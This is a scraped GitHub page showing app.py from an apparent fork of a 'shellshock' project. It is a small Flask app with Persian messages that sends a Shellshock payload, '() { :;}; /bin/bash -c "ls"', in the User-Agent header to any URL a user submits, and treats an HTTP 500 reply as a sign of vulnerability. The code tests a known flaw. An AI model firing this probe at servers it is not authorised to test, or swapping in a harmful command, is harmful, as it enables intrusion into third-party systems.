Uh oh!
There was an error while loading. Please reload this page.
forked from RaminNietzsche/shellshock
- Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.py
More file actions
Latest commit
35 lines (28 loc) · 841 Bytes
/
Copy pathapp.py
File metadata and controls
35 lines (28 loc) · 841 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding: utf-8
fromflaskimportFlask, render_template, request
importurllib2
app=Flask(__name__)
@app.route('/')
defindex():
returnrender_template('index.html')
@app.route('/check/', methods=['GET','POST'])
defcheck():
msg=''
status=False
ifrequest.method=='POST':
req=urllib2.Request(request.form['url_check'], headers={ 'User-Agent': '() { :;}; /bin/bash -c "ls"' })
try:
res=urllib2.urlopen(req)
status=False
exceptIOErrorase:
ife.code==500:
status=True
else:
msg=u'خطا در ارسال ورودی'
exceptValueErrorase:
msg=u'آدرس وارد شده معتبر نیست'
except:
msg=u'خطایِ نامشخص!'
returnrender_template('check.html', status=status, msg=msg)
if__name__=='__main__':
app.run(debug=True)